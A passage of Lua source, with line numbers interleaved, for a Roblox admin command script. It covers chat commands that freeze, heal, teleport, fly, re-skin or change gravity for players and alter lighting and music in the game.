local plrz = GetPlr(plr, msg:lower():sub(8))
1116
for i, v in pairs(plrz) do
1117
coroutine.resume(coroutine.create(function()
1118
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1119
for a, obj in pairs(v.Character:children()) do 
1120
if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
1121
end
1122
end
1123
end))
1124
end
1125
end
1126
1127
if msg:lower():sub(1,5) == "thaw " then
1128
local plrz = GetPlr(plr, msg:lower():sub(6))
1129
for i, v in pairs(plrz) do
1130
coroutine.resume(coroutine.create(function()
1131
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1132
for a, obj in pairs(v.Character:children()) do 
1133
if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
1134
end
1135
end
1136
end))
1137
end
1138
end
1139
1140
if msg:lower():sub(1,5) == "heal " then
1141
local plrz = GetPlr(plr, msg:lower():sub(6))
1142
for i, v in pairs(plrz) do
1143
coroutine.resume(coroutine.create(function()
1144
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1145
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1146
end
1147
end))
1148
end
1149
end
1150
1151
if msg:lower():sub(1,4) == "god " then
1152
local plrz = GetPlr(plr, msg:lower():sub(5))
1153
for i, v in pairs(plrz) do
1154
coroutine.resume(coroutine.create(function()
1155
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1156
v.Character.Humanoid.MaxHealth = math.huge
1157
v.Character.Humanoid.Health = 9e9
1158
end
1159
end))
1160
end
1161
end
1162
1163
if msg:lower():sub(1,6) == "ungod " then
1164
local plrz = GetPlr(plr, msg:lower():sub(7))
1165
for i, v in pairs(plrz) do
1166
coroutine.resume(coroutine.create(function()
1167
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1168
v.Character.Humanoid.MaxHealth = 100
1169
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1170
end
1171
end))
1172
end
1173
end
1174
1175
if msg:lower():sub(1,8) == "ambient " then
1176
local chk1 = msg:lower():sub(9):find(" ") + 8
1177
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1178
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1179
end
1180
1181
if msg:lower():sub(1,11) == "brightness " then
1182
game.Lighting.Brightness = msg:sub(12)
1183
end
1184
1185
if msg:lower():sub(1,5) == "time " then
1186
game.Lighting.TimeOfDay = msg:sub(6)
1187
end
1188
1189
if msg:lower():sub(1,9) == "fogcolor " then
1190
local chk1 = msg:lower():sub(10):find(" ") + 9
1191
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1192
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
1193
end
1194
1195
if msg:lower():sub(1,7) == "fogend " then
1196
game.Lighting.FogEnd = msg:sub(8)
1197
end
1198
1199
if msg:lower():sub(1,9) == "fogstart " then
1200
game.Lighting.FogStart = msg:sub(10)
1201
end
1202
1203
if msg:lower():sub(1,7) == "btools " then
1204
local plrz = GetPlr(plr, msg:lower():sub(8))
1205
for i, v in pairs(plrz) do
1206
coroutine.resume(coroutine.create(function()
1207
if v and v:findFirstChild("Backpack") then 
1208
local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
1209
local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
1210
local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
1211
local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
1212
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
1213
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
1214
local sb
1215
local hs
1216
local pdist
1217
1218
script.Parent.Selected:connect(function(mouse)
1219
if not mouse then return end
1220
sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
1221
hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
1222
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
1223
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
1224
hs.MouseButton1Down:connect(function() pdist = 0 end)
1225
end)
1226
1227
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
1228
end
1229
end))
1230
end
1231
end
1232
1233
if msg:lower():sub(1,12) == "startergive " then
1234
local chk1 = msg:lower():sub(13):find(" ") + 12
1235
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
1236
for i, v in pairs(plrz) do
1237
coroutine.resume(coroutine.create(function()
1238
if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then 
1239
for a, tool in pairs(game.Lighting:children()) do
1240
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1241
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
1242
end
1243
end
1244
end
1245
end))
1246
end
1247
end
1248
1249
if msg:lower():sub(1,5) == "give " then
1250
local chk1 = msg:lower():sub(6):find(" ") + 5
1251
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1252
for i, v in pairs(plrz) do
1253
coroutine.resume(coroutine.create(function()
1254
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
1255
for a, tool in pairs(game.Lighting:children()) do
1256
if tool:IsA("Tool") or tool:IsA("HopperBin") then
1257
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
1258
end
1259
end
1260
end
1261
end))
1262
end
1263
end
1264
1265
if msg:lower():sub(1,12) == "removetools " then
1266
local plrz = GetPlr(plr, msg:lower():sub(13))
1267
for i, v in pairs(plrz) do
1268
coroutine.resume(coroutine.create(function()
1269
if v and v.Character and v:findFirstChild("Backpack") then 
1270
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1271
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
1272
end
1273
end))
1274
end
1275
end
1276
1277
if msg:lower():sub(1,5) == "rank " then
1278
local chk1 = msg:lower():sub(6):find(" ") + 5
1279
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1280
for i, v in pairs(plrz) do
1281
coroutine.resume(coroutine.create(function()
1282
if v and v:IsInGroup(msg:sub(chk1+1)) then 
1283
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
1284
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
1285
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
1286
end
1287
end))
1288
end
1289
end
1290
1291
if msg:lower():sub(1,7) == "damage " then
1292
local chk1 = msg:lower():sub(8):find(" ") + 7
1293
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1294
for i, v in pairs(plrz) do
1295
coroutine.resume(coroutine.create(function()
1296
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1297
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
1298
end
1299
end))
1300
end
1301
end
1302
1303
if msg:lower():sub(1,5) == "grav " then
1304
local plrz = GetPlr(plr, msg:lower():sub(6))
1305
for i, v in pairs(plrz) do
1306
coroutine.resume(coroutine.create(function()
1307
if v and v.Character and v.Character:findFirstChild("Torso") then 
1308
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1309
end
1310
end))
1311
end
1312
end
1313
1314
if msg:lower():sub(1,8) == "setgrav " then
1315
local chk1 = msg:lower():sub(9):find(" ") + 8
1316
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
1317
for i, v in pairs(plrz) do
1318
coroutine.resume(coroutine.create(function()
1319
if v and v.Character and v.Character:findFirstChild("Torso") then 
1320
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1321
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1322
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
1323
end
1324
end))
1325
end
1326
end
1327
1328
if msg:lower():sub(1,7) == "nograv " then
1329
local plrz = GetPlr(plr, msg:lower():sub(8))
1330
for i, v in pairs(plrz) do
1331
coroutine.resume(coroutine.create(function()
1332
if v and v.Character and v.Character:findFirstChild("Torso") then 
1333
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
1334
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
1335
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
1336
end
1337
end))
1338
end
1339
end
1340
1341
if msg:lower():sub(1,7) == "health " then
1342
local chk1 = msg:lower():sub(8):find(" ") + 7
1343
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1344
for i, v in pairs(plrz) do
1345
coroutine.resume(coroutine.create(function()
1346
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1347
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
1348
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
1349
end
1350
end))
1351
end
1352
end
1353
1354
if msg:lower():sub(1,6) == "speed " then
1355
local chk1 = msg:lower():sub(7):find(" ") + 6
1356
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1357
for i, v in pairs(plrz) do
1358
coroutine.resume(coroutine.create(function()
1359
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
1360
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
1361
end
1362
end))
1363
end
1364
end
1365
1366
if msg:lower():sub(1,5) == "team " then
1367
local chk1 = msg:lower():sub(6):find(" ") + 5
1368
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1369
for i, v in pairs(plrz) do
1370
coroutine.resume(coroutine.create(function()
1371
if v and game:findFirstChild("Teams") then 
1372
for a, tm in pairs(game.Teams:children()) do
1373
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
1374
end
1375
end
1376
end))
1377
end
1378
end
1379
1380
if msg:lower():sub(1,6) == "place " then
1381
local chk1 = msg:lower():sub(7):find(" ") + 6
1382
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1383
for i, v in pairs(plrz) do
1384
coroutine.resume(coroutine.create(function()
1385
if v and v:findFirstChild("PlayerGui") then 
1386
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
1387
end
1388
end))
1389
end
1390
end
1391
1392
if msg:lower():sub(1,3) == "tp " then
1393
local chk1 = msg:lower():sub(4):find(" ") + 3
1394
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
1395
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
1396
for i, v in pairs(plrz) do
1397
coroutine.resume(coroutine.create(function()
1398
for i2, v2 in pairs(plrz2) do
1399
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
1400
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
1401
end
1402
end
1403
end))
1404
end
1405
end
1406
1407
if msg:lower():sub(1,7) == "change " then
1408
local chk1 = msg:lower():sub(8):find(" ") + 7
1409
local chk2 = msg:sub(chk1+1):find(" ") + chk1
1410
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
1411
for i, v in pairs(plrz) do
1412
coroutine.resume(coroutine.create(function()
1413
if v and v:findFirstChild("leaderstats") then 
1414
for a, st in pairs(v.leaderstats:children()) do
1415
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
1416
end
1417
end
1418
end))
1419
end
1420
end
1421
1422
if msg:lower():sub(1,6) == "shirt " then
1423
local chk1 = msg:lower():sub(7):find(" ") + 6
1424
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1425
for i, v in pairs(plrz) do
1426
coroutine.resume(coroutine.create(function()
1427
if v and v.Character then 
1428
for i,v in pairs(v.Character:children()) do
1429
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1430
end
1431
end
1432
end))
1433
end
1434
end
1435
1436
if msg:lower():sub(1,6) == "pants " then
1437
local chk1 = msg:lower():sub(7):find(" ") + 6
1438
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
1439
for i, v in pairs(plrz) do
1440
coroutine.resume(coroutine.create(function()
1441
if v and v.Character then 
1442
for i,v in pairs(v.Character:children()) do
1443
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
1444
end
1445
end
1446
end))
1447
end
1448
end
1449
1450
if msg:lower():sub(1,5) == "face " then
1451
local chk1 = msg:lower():sub(6):find(" ") + 5
1452
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1453
for i, v in pairs(plrz) do
1454
coroutine.resume(coroutine.create(function()
1455
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
1456
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
1457
end
1458
end))
1459
end
1460
end
1461
1462
---------------------
1463
--   FunCommands   --
1464
---------------------
1465
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
1466
	
1467
if msg:lower():sub(1,8) == "swagify " then
1468
local plrz = GetPlr(plr, msg:lower():sub(9))
1469
for i, v in pairs(plrz) do
1470
coroutine.resume(coroutine.create(function()
1471
if v and v.Character then
1472
for i,v in pairs(v.Character:children()) do
1473
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1474
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
1475
end
1476
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
1477
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
1478
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
1479
local torso = plr.Character.Torso
1480
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
1481
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
1482
p.Size = Vector3.new(.2,.2,.2)
1483
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
1484
local motor1 = Instance.new("Motor", p)
1485
motor1.Part0 = p
1486
motor1.Part1 = torso
1487
motor1.MaxVelocity = .01
1488
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
1489
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
1490
local wave = false
1491
repeat wait(1/44)
1492
local ang = 0.1
1493
local oldmag = torso.Velocity.magnitude
1494
local mv = .002
1495
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
1496
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
1497
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
1498
motor1.DesiredAngle = -ang
1499
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
1500
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
1501
if torso.Velocity.magnitude < .1 then wait(.1) end
1502
until not p or p.Parent ~= torso.Parent
1503
script:Destroy()
1504
]] cl.Parent = v.PlayerGui cl.Disabled = false
1505
end
1506
end))
1507
end
1508
end
1509
1510
if msg:lower():sub(1,6) == "music " then
1511
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1512
local id = msg:sub(7)
1513
local pitch = 1
1514
if tostring(id):lower():find("caramell") then id = 2303479 end
1515
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
1516
if tostring(id):find("rick") then id = 2027611 end
1517
if tostring(id):find("halo") then id = 1034065  end
1518
if tostring(id):find("pokemon") then id = 1372261 end
1519
if tostring(id):find("cursed") then id = 1372257 end
1520
if tostring(id):find("extreme") then id = 11420933 end
1521
if tostring(id):find("awaken") then id = 27697277 end
1522
if tostring(id):find("alone") then id = 27697392 end
1523
if tostring(id):find("mario") then id = 1280470 end
1524
if tostring(id):find("choir") then id = 1372258 end
1525
if tostring(id):find("chrono") then id = 1280463 end
1526
if tostring(id):find("dotr") then id = 11420922 end
1527
if tostring(id):find("entertain") then id = 27697267 end
1528
if tostring(id):find("fantasy") then id = 1280473 end
1529
if tostring(id):find("final") then id = 1280414 end
1530
if tostring(id):find("emblem") then id = 1372259 end
1531
if tostring(id):find("flight") then id = 27697719 end
1532
if tostring(id):find("banjo") then id = 27697298 end
1533
if tostring(id):find("gothic") then id = 27697743 end
1534
if tostring(id):find("hiphop") then id = 27697735 end
1535
if tostring(id):find("intro") then id = 27697707 end
1536
if tostring(id):find("mule") then id = 1077604 end
1537
if tostring(id):find("film") then id = 27697713 end
1538
if tostring(id):find("nezz") then id = 8610025 end
1539
if tostring(id):find("angel") then id = 1372260 end
1540
if tostring(id):find("resist") then id = 27697234 end
1541
if tostring(id):find("schala") then id = 5985787 end
1542
if tostring(id):find("organ") then id = 11231513 end
1543
if tostring(id):find("tunnel") then id = 9650822 end
1544
if tostring(id):find("spanish") then id = 5982975 end
1545
if tostring(id):find("venom") then id = 1372262 end
1546
if tostring(id):find("wind") then id = 1015394 end
1547
if tostring(id):find("guitar") then id = 5986151 end
1548
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
1549
end
1550
1551
if msg:lower() == "stopmusic" then
1552
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
1553
end
1554
1555
if msg:lower() == "musiclist" then
1556
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
1557
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
1558
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
1559
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
1560
end
1561
1562
if msg:lower():sub(1,4) == "fly " then
1563
local plrz = GetPlr(plr, msg:lower():sub(5))
1564
for i, v in pairs(plrz) do
1565
coroutine.resume(coroutine.create(function()
1566
if v and v:findFirstChild("PlayerGui") then
1567
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
1568
local mouse = game.Players.LocalPlayer:GetMouse() 
1569
repeat wait() until mouse
1570
local plr = game.Players.LocalPlayer 
1571
local torso = plr.Character.Torso 
1572
local flying = true
1573
local deb = true 
1574
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
1575
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1576
local maxspeed = 50 
1577
local speed = 0 
1578
function Fly() 
1579
local bg = Instance.new("BodyGyro", torso) 
1580
bg.P = 9e4 
1581
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
1582
bg.cframe = torso.CFrame 
1583
local bv = Instance.new("BodyVelocity", torso) 
1584
bv.velocity = Vector3.new(0,0.1,0) 
1585
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
1586
repeat wait() 
1587
plr.Character.Humanoid.PlatformStand = true 
1588
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
1589
speed = speed+.5+(speed/maxspeed) 
1590
if speed > maxspeed then 
1591
speed = maxspeed 
1592
end 
1593
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
1594
speed = speed-1 
1595
if speed < 0 then 
1596
speed = 0 
1597
end 
1598
end 
1599
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
1600
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1601
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
1602
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
1603
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
1604
else 
1605
bv.velocity = Vector3.new(0,0.1,0) 
1606
end 
1607
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
1608
until not flying 
1609
ctrl = {f = 0, b = 0, l = 0, r = 0} 
1610
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
1611
speed = 0 
1612
bg:Destroy() 
1613
bv:Destroy() 
1614
plr.Character.Humanoid.PlatformStand = false 
1615
end 
1616
mouse.KeyDown:connect(function(key) 
1617
if key:lower() == "e" then 
1618
if flying then flying = false 
1619
else 
1620
flying = true 
1621
Fly() 
1622
end 
1623
elseif key:lower() == "w" then 
1624
ctrl.f = 1 
1625
elseif key:lower() == "s" then 
1626
ctrl.b = -1 
1627
elseif key:lower() == "a" then 
1628
ctrl.l = -1 
1629
elseif key:lower() == "d" then 
1630
ctrl.r = 1 
1631
end 
1632
end) 
1633
mouse.KeyUp:connect(function(key) 
1634
if key:lower() == "w" then 
1635
ctrl.f = 0 
1636
elseif key:lower() == "s" then 
1637
ctrl.b = 0 
1638
elseif key:lower() == "a" then 
1639
ctrl.l = 0 
1640
elseif key:lower() == "d" then 
1641
ctrl.r = 0 
1642
end 
1643
end)
1644
Fly()]]
1645
cl.Parent = v.PlayerGui cl.Disabled = false
1646
end
1647
end))
1648
end
1649
end
1650
1651
if msg:lower():sub(1,6) == "unfly " then
1652
local plrz = GetPlr(plr, msg:lower():sub(7))
1653
for i, v in pairs(plrz) do
1654
coroutine.resume(coroutine.create(function()
1655
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1656
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
1657
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
1658
wait(.1) v.Character.Humanoid.PlatformStand = false
1659
end
1660
end))
1661
end
1662
end
1663
1664
if msg:lower() == "disco" then
1665
for i, v in pairs(lobjs) do v:Destroy() end
1666
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
1667
game.Lighting.Ambient = color
1668
game.Lighting.FogColor = color
1669
until nil]]
1670
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1671
end
1672
1673
if msg:lower() == "flash" then
1674
for i, v in pairs(lobjs) do v:Destroy() end
1675
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) 
1676
game.Lighting.Ambient = Color3.new(1,1,1)
1677
game.Lighting.FogColor = Color3.new(1,1,1)
1678
game.Lighting.Brightness = 1
1679
game.Lighting.TimeOfDay = 14
1680
wait(.1) 
1681
game.Lighting.Ambient = Color3.new(0,0,0)
1682
game.Lighting.FogColor = Color3.new(0,0,0)
1683
game.Lighting.Brightness = 0
1684
game.Lighting.TimeOfDay = 0
1685
until nil]]
1686
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
1687
end
1688
1689
if msg:lower():sub(1,5) == "spin " then
1690
local plrz = GetPlr(plr, msg:lower():sub(6))
1691
for i, v in pairs(plrz) do
1692
coroutine.resume(coroutine.create(function()
1693
if v and v.Character and v.Character:findFirstChild("Torso") then
1694
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
1695
local torso = v.Character:findFirstChild("Torso")
1696
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
1697
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
1698
until not bg or bg.Parent ~= torso
1699
end
1700
end))
1701
end
1702
end
1703
1704
if msg:lower():sub(1,7) == "unspin " then
1705
local plrz = GetPlr(plr, msg:lower():sub(8))
1706
for i, v in pairs(plrz) do
1707
coroutine.resume(coroutine.create(function()
1708
if v and v.Character and v.Character:findFirstChild("Torso") then
1709
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
1710
end
1711
end))
1712
end
1713
end
1714
1715
if msg:lower():sub(1,4) == "dog " then
1716
local plrz = GetPlr(plr, msg:lower():sub(5))
1717
for i, v in pairs(plrz) do
1718
coroutine.resume(coroutine.create(function()
1719
if v and v.Character and v.Character:findFirstChild("Torso") then
1720
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1721
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1722
v.Character.Torso.Transparency = 1
1723
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
1724
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
1725
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
1726
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
1727
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
1728
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
1729
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
1730
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
1731
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
1732
end
1733
end))
1734
end
1735
end
1736
1737
if msg:lower():sub(1,6) == "undog " then
1738
local plrz = GetPlr(plr, msg:lower():sub(7))
1739
for i, v in pairs(plrz) do
1740
coroutine.resume(coroutine.create(function()
1741
if v and v.Character and v.Character:findFirstChild("Torso") then
1742
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1743
